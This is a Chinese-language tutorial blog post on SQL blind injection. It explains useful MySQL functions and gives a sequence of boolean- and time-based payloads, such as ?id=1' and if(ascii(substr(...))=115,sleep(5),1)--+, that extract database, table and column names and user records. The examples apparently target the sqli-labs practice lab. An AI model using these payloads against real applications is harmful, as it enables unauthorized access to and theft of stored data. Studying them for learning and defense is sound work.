SQL盲注-你需要知道的常用sql函数和语句

【❤作者简介:研究生在读 IT女; 如果文章有错请指正,让我们一起学习,天天向上,一起进步! 如果对你有帮助,还请点赞收藏哦~❤】

SQL盲注基本常用SQL函数

SQL盲注是一种常见的SQL注入漏洞,攻击者可以操纵SQL语句,应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。分为:1.基于布尔的盲注2.基于时间的盲注。
1,sleep(n):延时n秒。
2,if(a,b,c):a为条件,正确返回b,否则返回c。
3,mid(column_name,start[,length]):用于从文本字段中提取字符。从位置start开始,截取column_name字符串的length位。column_name:必需。要提取字符的字段。start:必需。规定开始位置(起始值是 1)。length:可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。具体使用和例子见这里
4,substr(str,pos,len): 从pos位置开始,截取字符串str的len长度。str:指定字符串。pos:规定字符串从何处开始,(这里的第一个位置是从1开始而不是0)为正数时则从字段开始出开始,为负数则从结尾出开始。len:要截取字符串的长度,可选,若未写则一直截到最后。例子1例子2
5,length(str) : 返回字符串str的长度。
6,ascii() : 将某个字符转换为ascii值。
7,char() : 将ASCII码转换为对应的字符。
8,count():统计查询结果的数量。
9,limit用于限制查询结果返回的数量,常用于分页查询。(eg:select * from tableName limit i,n tableName:表名,i:为查询结果的索引值(默认从0开始),当i=0时可省略i, n:为查询结果返回的数量, i与n之间使用英文逗号","隔开.limit n 等同于 limit 0,n)。
10,union:UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
11,regexp运算符,是正则表达式(regular expression)的缩写.正则表达式不懂建议百度。
12,select a from b (where c条件) :在c条件从b中选取a,eg:(1)select username from security.users limit 0,1:从security数据库的users表中选取username这一字段(列),并且限制从0开始返回1条记录(2)select column_name from information _schema.columns where table_name='users' limit 0,1从数据库模式表information _schema.columns且表名为users的列名中从0开始返回1条列名。

SQL盲注基本常用SQL语句

【写在前面:手工注入过程很是繁琐,可以用二分法提高效率】

常见语句

select left(database(),1)=‘s’;1位是否是s
select database() regexp ‘s’; 匹配第一个字符是否是s
select database() like ‘s%; 匹配是否是以s开头
select substr((select database()),1,1)=‘s’; 匹配第一个字符是否是s
select substr((select database()),1,3)=‘sec’; 匹配前3个字符是否是sec
select ascii(substr((select database()),1,1)); 直接回显115 或者是空:
select ascii(substr(select database()),1,1))>110; 如果大于100,就返回1,否中返回0

注入过程

大致过程就4个步骤:
1.判断闭合条件 2.猜数据名长度和名字 3.猜表名长度和名字 4.猜字段长度和名字 5.猜数值长度和名字
1,判断闭合条件

?id=1' and sleep(5)--+

可以用来判断闭合'还是",如果是’则延时注入5秒。(-- + or -- ss注释后面内容)
以下假设闭合为'
2,猜数据库名长度

?id=1' and length(database())=n -- ss

布尔盲注:判断数据库名长度是否为n

?id=1' and if(length(database())=x,sleep(5),1)--+

时间盲注:如果数据库名的长度为x的话,延时5秒。

?id=1' and if (length(database())>6 ,sleep(5),1)

时间盲注:如果数据库的长度>6的话,延时5秒。
3,猜数据名

?id=1' and ascii(substr(database(),1,1))>97-- ss

布尔盲注:判断数据库名第1位字符(从0开始数)的ASCII是否大于97

?id=1' and if(ascii(substr(database(),n,1))=115,sleep(5),1)--+

时间盲注:组合起来的意思就是如果从第n位复制数据库名1位的字符的asclii码等于115的则延时5秒。作用就是判断数据库名的第n位asclii是不是=115。当然你可以设置取数据库名第几位,是否asclii大于几小于几从而得到数据库名。

?id=1' and sleep(if((mid(database(),1,1)='s'),5,1)) --+

时间盲注: 判断数据库名第一位是否为‘s’,如果是‘s’则延时5秒,否则延时1秒。
4,猜表的数量

?id=1' and (select count (table_name) from information_schema.tables where table_schema=database())=n-- ss

判断数据库表的数量是否为n。
5,猜表长

?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,sleep(5),1) --+

时间盲注:如果数据库中第x个表的长度小于y则延时5秒。
6,猜表名

?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9-- ss

猜第一个表名的长度是否为9。

?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)='u'),5,0)) --+

时间盲注:如果数据库中的第3个表的第一位字符为‘u’则延时5秒,否则不延时。

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+

时间盲注:如果数据库中第一个表的第一个字符的ascii为101则延时5秒,否则不延时。
7,猜字段名
假设你已经知道一个表的表名叫user了:

?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

时间盲注:如果user表的第一列的列名的第一位字符的ASCII=105则延时5秒,否则延时1秒。

?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,8)='password',sleep(5),1)-- -

这句话有点长,它的意思是,从security数据库中的users表选取第二列(limit函数默认从0开始)的1-8位字符是否为‘password’,如果是则sleep(5)。可以用来判断users表的第三列名是否为‘password’。
8,猜数值

?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1)--+

从users表里选择username这一列记录的第0位字符的ASCII码值是否为68,条件为真则sleep 5秒。
在这里插入图片描述

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值